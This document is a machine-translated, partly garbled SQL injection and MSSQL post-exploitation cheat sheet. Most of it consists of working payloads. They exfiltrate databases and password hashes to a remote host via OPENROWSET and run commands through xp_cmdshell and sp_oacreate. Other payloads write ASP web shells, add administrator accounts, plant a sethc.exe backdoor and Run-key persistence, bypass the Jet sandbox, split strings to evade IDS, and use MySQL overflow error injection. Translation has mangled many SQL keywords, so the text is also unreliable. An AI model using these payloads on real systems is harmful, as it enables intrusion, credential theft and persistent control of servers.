* tablo1'den) * tablo 2'den seç insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç
* _blank>_sysdatabases'dan) Master.dbo.sysdatabases'ten * seç insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç
* _blank>_sysobjects'dan) user_blank>_database.dbo.sysobjects arasından * seç insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç
* _blank>_syscolumns'dan) user_blank>_database.dbo.syscolumns'tan * seç Veritabanını _blank> çoğaltın: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç
* tablo 1'den) veritabanından * seç.. Tablo1 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,seç
* tablo 2'den) veritabanından * seç.. Tablo 2
Hash tablosunu (HASH) kopyalayan şifrenin hash _blank> şifresi sysxlogins'te saklanır. İşte nasıl yapılacak: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,_blank>_sysxlogins'dan * seç)
Database .dbo.sysxlogins from * seç Hash'i aldıktan sonra kaba kuvvet ile yapabiliyorsunuz.
Dizini gezmek için: Önce geçici bir tablo oluşturun: temp ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; Temp exec master.dbo.xp_blank>_availablemedia; – Tüm mevcut sürücüleri alın ; Temp(id) icec master.dbo.xp_blank>_subdirs c:\; – Alt dizinlerin listesini alın ; Insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Tüm alt dizinler için dizin ağacı yapısını alın,
İnçleri geçici tabloya birleştirin ; Insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – Bir dosyayı görüntüle
İçerik ; Temp(id) icec master.dbo.xp_blank>_cmdshell direksiyona c:\; – ; Temp(id) exec master.dbo.xp_blank>_cmdshell dir'e c:\ *.asp /s/a'ya ekleyin; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; Insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Geçerli Yetki
HALK) Masaya yaz: ifade 1: ve 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin)); – Bildirim 2: ve 1=(Seç IS_blank>_SRVROLEMEMBER(serveradmin)); – Açıklama 3: ve 1=(Seç IS_blank>_SRVROLEMEMBER(setupadmin)); – Statement 4: ve 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – Bildirim 5: ve 1=(Seç IS_blank>_SRVROLEMEMBER(securityadmin)); – İfade 6: ve 1=(Seç IS_blank>_SRVROLEMEMBER(diskadmin)); – İfade 7: ve 1=(Seç IS_blank>_SRVROLEMEMBER(bulkadmin)); – İfade 8: ve 1=(Seç IS_blank>_SRVROLEMEMBER(bulkadmin)); – Bildirim 9: ve 1=(Seç IS_blank>_MEMBER(db_blank>_owner)); –
Tabloya giden yolu yaz: ; create table dirs(paths varchar(100), id int)– ; DIRS Exec master.dbo.xp_blank>_dirtree C:\– ve 0<>(dirs'ten en iyi 1 yolu seç)– ve 0<>(DIR'lerden en iyi 1 yolu seçin, burada yollar @Inetpub))– ; create table dirs1(paths varchar(100), id int)– ; DIRS Exec master.dbo.xp_blank>_dirtree Insert E:\Web– ve 0<>(dirs1'den en iyi 1 yolu seç)–
_blank> veritabanını bir web dizinine yedekleyin: İndir ; @a sysname ilan et; küme @a=db_blank>_name(); yedekleme veritabanı @a disk=e:\web\down.bak; –
ve 1=(En üst 12 ismi seç (Üst 12 id'yi seç, sysobjects'ten ad burada xtype=char(85)) T
id desc tarafından sipariş edilen) ve 1=(Sysobjects'ten Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) seç) Ayrıca bakınız
İlgili tablolar. ve 1=(USER_blank>_LOGIN'den user_blank>_id seç) ve 0=(kullanıcıyı USER_blank>_LOGIN buradan seç>1)
-=- wscrip{filter}t.shell örneği -=- @o int bildirmek exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, koş, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int @line varchar ilan et(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) Başlamak Baskı @line exec @ret = sp_blank>_oamethod @f, readline, @line out Son
declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar yönetici sp_blank>_oasetproperty @o, hız, 150 exec sp_blank>_oamethod @o, konuş, NULL, tüm devam oyunları sunucuların bize ait, 528 gecikme bekle 00:00:05
; @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, konuş, NULL, tüm devam sunucuların bize ait, 528 gecikme bekle
00:00:05–
xp_blank>_dirtree ilgili KAMU izni icec master.dbo.xp_blank>_dirtree c: Geri dönen bilginin iki alanı vardır: alt dizin, derinlik. Alt dizin alanları
Karakter türü, derinlik alanı şekillendirme alanıdır. create table dirs(paths varchar(100), id int) Tablo oluşturma, burada oluşturulan tablo yukarıdaki xp_blank>_dirtree ile ilişkilidir, eşit alanlar ve aynı tür. DIRS icec master.dbo.xp_blank>_dirtree c: Bir tablo oluşturduğumuz ve depolama sürecinden gelen alanları eşit şekilde tanımladığımız sürece
Uygula! Tablo yazma etkisini elde etmek için, adım adım istediğimiz bilgiyi elde edin! Bu hata enjeksiyonu esas olarak Mysql veri tipi taşmasına dayanmaktadır mysql > SELECT 18446744073709551610 * 2 ; HATA 1690 (22003): BIGINT İŞARETSIZ DEĞERİ '(18446744073709551610 * 2)' aralığının dışında
mysql > SELECT - 1 * 9223372036854775808 ; HATA 1690 ( 22003 ): BIGINT İMZASIZ DEĞERİ '(- (1) * aralığında
9223372036854775808)' Veritabanı versiyonunu sorgulama: mysql> SELECT * 2 (if ((SELECT * from (SELECT (versiyon ())) ) s), 18446744073709551610,
18446744073709551610)); HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if (( Select ' 5.5 'from
İkili), 18446744073709551610.18446744073709551610))' Alan adını alın: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as ''limit 1)>(SELECT * from from
test.shop limit 1), 18446744073709551610, 18446744073709551610);
HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if((((select
'article','dealer','price' ('test'.'shop'.'article' AS seçeneklerinden 'article' seçin
'makale','test'.'shop'.'dealer' AS 'bayi','test'.'shop'.'price' AS 'price' from
'test'.'shop') sınırı 1) > (seç
'test'.'alışveriş'.'makale','test'.'mağaza'.'satıcı','test'.'market'.'market'.'test'.'fiyat' 'test'.'mağaza' limiti
1)),18446744073709551610,18446744073709551610))' Alan değerini alın:
mysql> SELECT 2 * if((SELECT * from (select * from (select* from (mysql.user) LIMIT 1) as ''limit 1) as ''limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if((((select
'YEREL HOST','ROOT','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
Y','Y','Y','Y','Y','Y','Y','Y','','0','','' ÇIFT LIMIT 1'DEN)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Bu yöntemin Mysql'in eski sürümlerinde çalışmadığını ve hata mesajının uzunluk sınırını bilmeniz gerektiğini unutmayın; çünkü bu durumu belirleyecektir
İstediğiniz kadar uzun alabilirsiniz: Mysys / my_error.c
/* Hata mesajının maksimum uzunluğu. MYSQL_ERRMSG_SIZE ile senkronize tutulmalı. */ #define ERRMSGSIZE (512)
Nesne MariaDB ise (Mysql'in bir çatalı), yukarıdaki yöntemi denediğinizde böyle bir hata mesajı görebilirsiniz:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) HATA 1690 (22003): BIGINT İMZASIZ değeri '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Bir çözüm olarak, bu sorun şu şekilde çözülebilir:
mysql> SELECT (I NULL DEĞIL) - -9223372036854775808 FROM (SELECT (version())i)a; HATA 1690 (22003): BIGINT değeri '(('5.5-MariaDB' null değil) içinde aralık dışında - -
(9223372036854775808))' Şimdi bakalım Vektörümüzü biraz kısaltabilir miyiz
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (i NULL DEYİL) - -9223372036854775808 FROM (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) as ''limit 1)>(SELECT * from from
test.shop limit 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as ''limit 1) olarak <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| sunucu|| password|| file_priv from(select*from mysql.user LIMIT'i
1)bir sınır 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Bazı diğer deformasyonlar
SELECT (i NULL DEYİL) - -9223372036854775808 FROM (SELECT (version())i)a select 1E308*if((select user|| sunucu|| password|| file_priv from(select*from mysql.user LIMIT'i
1) bir sınır 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> select (select * from mysql.user)=1; mysql> select (mysql.user'dan * seç) in(1);
HATA 1241 (21000): Operand 42 sütun(lar) içermelidir select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); select if((select user|| sunucu|| password|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i NULL DEYİL) - -9223372036854775808 FROM (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; HATA 1690 (22003): BIGINT İMZASIZ değeri '((not('root@localhost')) - ~
(0))' 3. Veritabanı sistemini yargılayın ; ve (sysobjects'ten selectcount(*))>0 mssql ; ve (msysobjects'ten count(*) seç)>0 erişim 4. Enjeksiyon parametresi bir karakterdir 've [sorgulama kriterleri] ve ''=' 5. Arama sırasında filtrelenmiş parametreler yoktur 've [sorgulama kriterleri] ve '%25'=' 6. Veritabanını tahmin et ; ve ([veritabanı adı]'dan Count(*) seçin)>0 7. Alanı tahmin et ; ve (veritabanı adından Count(alan adı)'nı seçin)>0 8. Sahadaki rekorun uzunluğunu tahmin et ; ve (veritabanı adından en üst 1 len (alan adı) seçin)>0 9. (1) Alanın ASCII değerini tahmin et (erişim) ; ve (veritabanı adından en üst 1 ASC(mid(alan adı, 1,1)))>0 seçin (2) Alanın ASCII değerini tahmin et (mssql) ; ve (veritabanı adından en üst 1 unicode(substring(alan adı, 1,1))))>0 seçin 10. Test İzni Yapısı (mssql) ; ve 1=(select IS_SRVROLEMEMBER('sysadmin')); -- ; ve 1=(select IS_SRVROLEMEMBER('serveradmin')); -- ; ve 1=(select IS_SRVROLEMEMBER('setupadmin')); -- ; ve 1=(IS_SRVROLEMEMBER('securityadmin')'i seçin); -- ; ve 1=(select IS_SRVROLEMEMBER('diskadmin')); -- ; ve 1=(select IS_SRVROLEMEMBER('bulkadmin')); -- ; ve 1=(select IS_MEMBER('db_owner')); -- 11. mssql ve sistem için bir hesap ekleyin ; yönetici master.dbo.sp_addlogin kullanıcı adı; -- ; exec master.dbo.sp_password null,username,password; -- ; yönetici master.dbo.sp_addsrvrolemember sistem yöneticisi kullanıcı adı; -- ; exec master.dbo.xp_cmdshell 'net kullanıcı kullanıcı adı şifresi /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'net kullanıcı adı şifresi /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup yöneticileri kullanıcı adı /add'; -- 12. (1) Kataloğu gezin ; create table dirs(paths varchar(100), id int) ; DIRS yöneticisi master.dbo.xp_dirtree 'c:\' ekleyin ; ve (dirs'ten en iyi 1 yolu seçin)>0 ; ve (dir'lerden en iyi 1 yolu seçin, burada yollar içeride değil ('önceki adımdan elde edilen yollar'))))>) (2) Kataloğu dolaşın ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Temp exec master.dbo.xp_availablemedia ekleyin; -- Tüm mevcut sürücüleri alın ; Temp(id) yöneticisi master.dbo.xp_subdirs 'c:\'; -- Alt dizinlerin listesini alın ; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Tüm alt dizinler için dizin ağacı yapısını alın ; Temp(id) yöneticisine master.dbo.xp_cmdshell 'c:\web\index.asp' yaz; -- Dosyanın içeriğini görüntüleyin 13. MSSQL'de saklanan prosedürler xp_regenumvalues Kayıt defteri kök anahtarı, alt anahtar ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ve daha fazlası
Tüm anahtar değerlerini döndürmek için kayıt seti yöntemi xp_regread Kök anahtar, çocuk anahtar, anahtar-değer adı ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'CommonFilesDir' formülasyon anahtarının değerini döndürür xp_regwrite Kök anahtar, alt anahtar, değer adı, değer türü, değer İki tür değer tipi vardır REG_SZ REG_DWORD karakter tipleri ve tam sayılar için ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName','reg_sz', 'hello' kayıt defterine yazılır xp_regdeletevalue Kök anahtar, alt anahtar, değer adı exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' ile bir değeri kaldırmak için xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' silme tuşu,
O anahtarın altında tüm değerleri dahil edin 14. mssql yedeklemesi bir webshell oluşturur Model Kullanın tablo oluştur cmd(str görsesi); içine cmd(str) değerleri ekleyin ('<% Dim oscrip{filter}t %>'); yedekleme veritabanı modeli disk='c:\l.asp'; 15. MSSQL yerleşik fonksiyonları ; ve (@@version)>0 ile Windows'un sürüm numarasını elde etmek için ; ve user_name()='dbo' ile mevcut sistemin bağlı kullanıcısının SA olup olmadığını belirlemek için ; ve (select user_name()))>0 Mevcut sistemin bağlı kullanıcılarını patlattı ; ve (db_name())>0 seçeneğine göre mevcut bağlı veritabanını elde etmek için 16. Kısa web kabuğu Model Kullanın tablo oluştur cmd(str görsesi); Insert into cmd(str) values ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); yedekleme veritabanı modeli disk='g:\wwwtest\l.asp'; İsterken şöyle bir şey kullanın:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Tüm veritabanı adlarını, sistem veritabanları dahil olmak üzere alın –Master.dbo.sysdatabases'ten NAME SEÇİP
– Tüm sistem dışı veritabanı isimlerini elde edin –master.dbo.sysdatabases'ten [name] seç, burada DBId>6 Sıra [İsme]
– Tüm bilgileri, veritabanı dosya adresi dahil olmak üzere alın –master.dbo.sysdatabases sitesinden * seç burada DBId>6 Sırayla
[İsim]
Bu ifade sorgusu tüm kullanıcı tablolarını döndürür
Xtype='U' olduğu sysobjects'ten * seçin
Sistemdeki tüm veri tablosu bilgilerini sorgulayın
SysObjects'ten * seç
Makine adına bak sys.server'ten * seç
Sütun İçindekiler yönetici master.dbo.xp_subdirs 'c:\'
Yönetici master.dbo.xp_dirtree 'c:',1,1 db_owner İzinler uygulanabilir
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Webshell'e yazılmış program kodu
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Yönetici sp_makewebtask 'D:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Ustayı idam et.. xp_enumgroups
Traverse sistemi kullanıcıları
Ustayı idam et.. xp_getnetname Mevcut makine adını alın
--Sabit sürücüleri sunucuda listeleyin ve her sürücü için kullanılabilir alanı ekleyin dbo halka açık
icat etmek
xp_ntsec_enumdomains
-- MSSQL'ye giriş yapmak için bir hesap oluşturun yönetici master.dbo.sp_addlogin adı, pass; --
-- Sunucu alan adını listele xp_ntsec_enumdomains // Makine adı //dbo public
-- Bir hizmeti durdurmak veya başlatmak xp_servicecontrol 'dur', 'schedule' //schedule hizmet adıdır //dbo
--Pid kullanın
Çalışan bir programı durdur xp_terminate_process 123 //123 PID //dbo'dur
-- Bir dizindeki sadece alt dizinler listelenir dbo.xp_subdirs 'C:' //dbo
SQL Server 2005 yılında xp_cmdshell'nin açılma yöntemi EXECUTIVE sp_configure 'gelişmiş seçenekleri göster', 1; YENIDEN KONFIGÜRASYON; YÖNETICI
sp_configure 'xp_cmdshell', 1; YENIDEN KONFIGÜRASYON;
SQL2005 'OPENROWSET'i aç Desteklenen yöntemler: exec sp_configure 'gelişmiş seçenekleri göster', 1; YENIDEN KONFIGÜRASYON; yönetici sp_configure 'Ad Hoc
Dağıtılmış Sorgular',1; YENIDEN KONFIGÜRASYON;
'sp_oacreate' desteğini etkinleştirmek için SQL2005: exec sp_configure 'gelişmiş seçenekleri göster', 1; YENIDEN KONFIGÜRASYON; yönetici
sp_configure 'Ole Otomasyon Prosedürleri',1; YENIDEN YAPIRILANDIRMA
SQL Server 2008'de xp_cmdshell nasıl etkinleştirilir
-- Gelişmiş seçeneklerin değiştirilmesine izin vermek için. YÖNETICI
sp_configure 'gelişmiş seçenekleri göster', 1 GIT -- Şu anda yapılandırılmış değeri güncellemek için
gelişmiş seçenekler. YENIDEN YAPIRILANDIRMA GIT -- Özelliği etkinleştirmek için. YÖNETICI sp_configure 'xp_cmdshell', 1 GIT --Hedef
Bu özellik için mevcut yapılandırılmış değeri güncelleyin. YENIDEN YAPIRILANDIRMA GIT
exec xp_cmdshell 'ipconfig'
Bugün, veritabanı sunucusunun SA giriş şifresini değiştirmek istedim ama aniden unuttum, bu yüzden SA şifresini değiştirmek için diğer hesapların yardımıyla sorgu analizörünü açmak zorunda kaldım
Çok basit:
Uygulama: sp_password Null,'teracypwd,'sa' SA şifresini "teracypwd" olarak ayarla
Başarılı idamdan sonra
"Komut(lar) başarıyla tamamlandı" var. TAMAM!
veritabanı izininde, MSSQL veritabanı sunucusu IP'sini alma yöntemini ayırın
1. Yerel NC NC dinliyor -VVLP 80
2.; içine
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Adres=IP adresiniz, 80; ', 'seç *
dest_table') src_table'dan * seç; --
OpenRowset'ten * seç
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','kullanıcı seç; ')
Veritabanı ithalatı ve dışa aktarımı
/*不同服务器数据库之间的数据操作*/
--Bağlantı sunucusu oluştur yönetici sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Uzak Sunucu Adı veya IP Adresi' exec sp_addlinkedsrvlogin 'ITSV', 'yanlış
',null, 'kullanıcı adı', 'şifre'
--sorgu örneği ITSV.database name.dbo.table name içinden * seç
--import örneği Seç *
ITSV.databasename.dbo.tablename'den tabloya dönüştürülür.
--Bağlantılı sunucu gelecekte kullanılmıyorsa silin 'ITSV'sp_dropserver yöneticisi,
'droploginler'
-- Uzak/LAN verilerine bağlanma (openrowset/openquery/opendatasource) --1、openrowset
--sorgu örneği Seç *
openrowset( 'SQLOLEDB ', 'SQL sunucu adı'; 'Kullanıcı adı'; 'password', database name.dbo.table name)
-- Yerel bir tablo oluşturun openrowset( 'SQLOLEDB ', 'SQL Server name' ' dan * tablosuna * seçin; 'Kullanıcı adı'; 'Şifre', numara
veritabanı adı.dbo. tablo adı)
-- Yerel tabloyu uzak tabloya aktarın insert openrowset( 'SQLOLEDB', 'SQL sunucu adı'; 'Kullanıcı adı'; 'Şifreler', veritabanları
name.dbo.table name) *Yerel tablodan seçin
-- Yerel tabloları güncelle Güncelleme B küme b. sütun A = a openrowset( 'SQLOLEDB ', 'SQL sunucu adı'; 'Kullanıcı adı'; '
şifre ', veritabanı adı .dbo.table name) olarak iç birleştirme yerel tablo b olarak a.column1=b.column1 üzerinde
--openquery Kullanım için bir bağlantı kurulması gerekir
--Öncelikle, bir bağlantı sunucusu oluşturmak için bir bağlantı oluşturun 'ITSV'sp_addlinkedserver ' ' yöneticisi,
'SQLOLEDB', 'uzak sunucu adı veya ip adresi' --Sorma Seç * AÇQUERY(ITSV, 'SELECT * FROM verisi'nden
library.dbo.table name ') -- Yerel tabloyu uzak tabloya aktarın insert openquery(ITSV, 'database.dbo.table name'den * seç') Yerel içinden * seç
Tablo --yerel tabloyu güncelle Güncelleme B küme b. sütun B=a FROM openquery(ITSV, 'SELECT* FROM database.dbo.tablename')
iç birleşim yerel tablo b a. sütun A=b. sütun A
--3、opendatasource/openrowset SELECT * KAYNAK
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Kullanıcı Kimliği=Giriş adı; Password=Password '
).test.dbo.roy_ta -- Yerel tabloyu uzak tabloya aktarın
Silinme ve xp_cmdshell restorasyonu
İyileşme yolları xp_cmdshell Genişletilmiş depolanmış prosedürü sil xp_cmdshell
Açıklama yönetici sp_dropextendedproc 'xp_cmdshell'
cmdshell'in sql ifadesini geri alın exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
yönetici
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Count(*) seç
master.dbo.sysobjects olarak xtype='x' ve Geri dönüş sonucu 1 ve sorun yok
Aksi takdirde, c:\inetput\web dosyasını yüklemeniz gerekir
\xplog70.dll sonra exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Aşağıdaki şekilde silerseniz Drop prosedürü sp_addextendedproc Bırakma prosedürü sp_oacreate yönetici
sp_dropextendedproc 'xp_cmdshell'
Aşağıdaki ifadeyle geri kazandırabilirsiniz dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Bu şekilde, var olup olmamasına bakılmaksızın doğrudan geri getirilebilir sp_addextendedproc
1、 Kullanın xp_cmdshell: exec master.dbo.xp_cmdshell "net user admin admin /add" yönetici
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
xp_cmdshell durumda, sp_oamethod takip etmek için sp_oacreate kullanın: depreve @object int yönetici
sp_oacreate 'wscrip{filter}t.Shell', @object out yönetici sp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Yöneticiler admin /add'
Not: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 sp_oacreate ve FSO kullanın @o int bildirmek Yönetici sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; @oo int bildirmek yönetici
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Yönetici sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
xp_regwrite kullanın (db_owner, yeniden başlatma gerekiyor): yönetici master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' yönetici master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. sp_add_job kullanın: yönetici
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' MSDB Exec sp_delete_job kullanın
null,'x' Yönetici sp_add_job 'X' Yönetici sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' yönetici sp_add_jobserver
Null,'x'@@servername exec sp_start_job 'x'
Birçok SA, kum havuzu modunu doğrudan kullanarak birçok makinede başarılı oldu, ama ben hiç pratik yapmadım ve başarı oranını bilmiyorum. Uzantı çıkarıldığında, önce
Okuma ve yazma deposunu kayıt defterine geri getirin. dbcc addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite','xpstar.dll')
Kum havuzunun korunan modu düzeltildi Yönetici Üsta.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
'SandBoxMode' değerinin 0'a dönüp dönmediğine bakın.
'HKEY_LOCAL_MACHINE' master.dbo.xp_regread YÖNETİCİ YAZILIMI
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Son olarak, kum havuzu modunu çağırın OpenRowSet('Microsoft.jet.OLEDB.4.0',' içinden * seçin; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')
Kum kutusu koruma modu "kapalı" değilse, bir hata bildirilir: Sunucu: Msg 7357, Seviye 16, Durum 2, Hat 1
'select shell("cmd.exe /c net user passwd /add")' nesnesini ele alanda başarısız oldu. OLE DB programlar sunmaktadır
Önsöz 'microsoft.jet.oledb.4.0' ise, nesnede hiçbir sütun olmadığını gösterir.
OLE DB hata takibi [Arayüz dışı hata: OLE veritabanı sağlayıcısı nesneyi işleyemiyor, çünkü nesne
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Eğer .mdb yoksa veya giriş yolu yanlışsa Sunucu: Msg 7399, Seviye 16, Durum 1, Hat 1
OLE DB provider 'microsoft.jet.oledb.4.0' hatası. [OLE/DB sağlayıcısı mesaj döndürdü:
'C:\WINDOWS\system32\ias\dnary1.mdb' dosyası bulunamadı. ]
OLE DB hata izi [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize geri döndü
0x80004005: ]。
3. Giriş sürecinde daha fazla boşluk varsa, bir hata da bildirilir. Buna özellikle dikkat edin, birçok kişi doğrudan çevrimiçi makale arıyor
Yapıştırın ve çalıştırın. Sunucu: Msg 7357, Seviye 16, Durum 2, Hat 1 Nesnenin 'select işlemesi başarısız oldu
shell("cmd.exe /c net user passwd /add")'。 OLE DB sağlayıcısı 'microsoft.jet.oledb.4.0', nesnede sütun olmadığını belirtir.
OLE DB hata takibi [Arayüz dışı hata: OLE veritabanı sağlayıcısı nesneyi işleyemiyor, çünkü nesne
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 MDB ve cmd.exe izinleri yanlışsa, sorun da ortaya çıkar. MDB izinleri yanlış olduğunda, Sunucu: Eleme
İlgi 7320, Kat 16, Eyalet 2, Hat 1
Cevap veremedi OLE veritabanı sağlayıcısı 'Microsoft.Jet.OLEDB.4.0' sorguyu çalıştırır. [OLE/DB sağlayıcısı geri döndü
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Net izni yanlışsa, herhangi bir uyarı yoktur.
Otoriteyi yükseltmenin son yolu, sistemin ias.mdb ve cmd.exe dosyalarını mevcut web dizinine yüklemek, net.exe üç dosya.
Openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe kullanıcı passwd /add")') Başarılı bir bilgisayar kullanıcısı ekle.
Bölme cmdshell atlayıcı IDS Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' ilan etmek
@a sysname set @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'
Kayıt defteri kaçırılması düzenle: Shift Yönetici Üsta.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Linksunucuyu sorgulayın seçmek
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
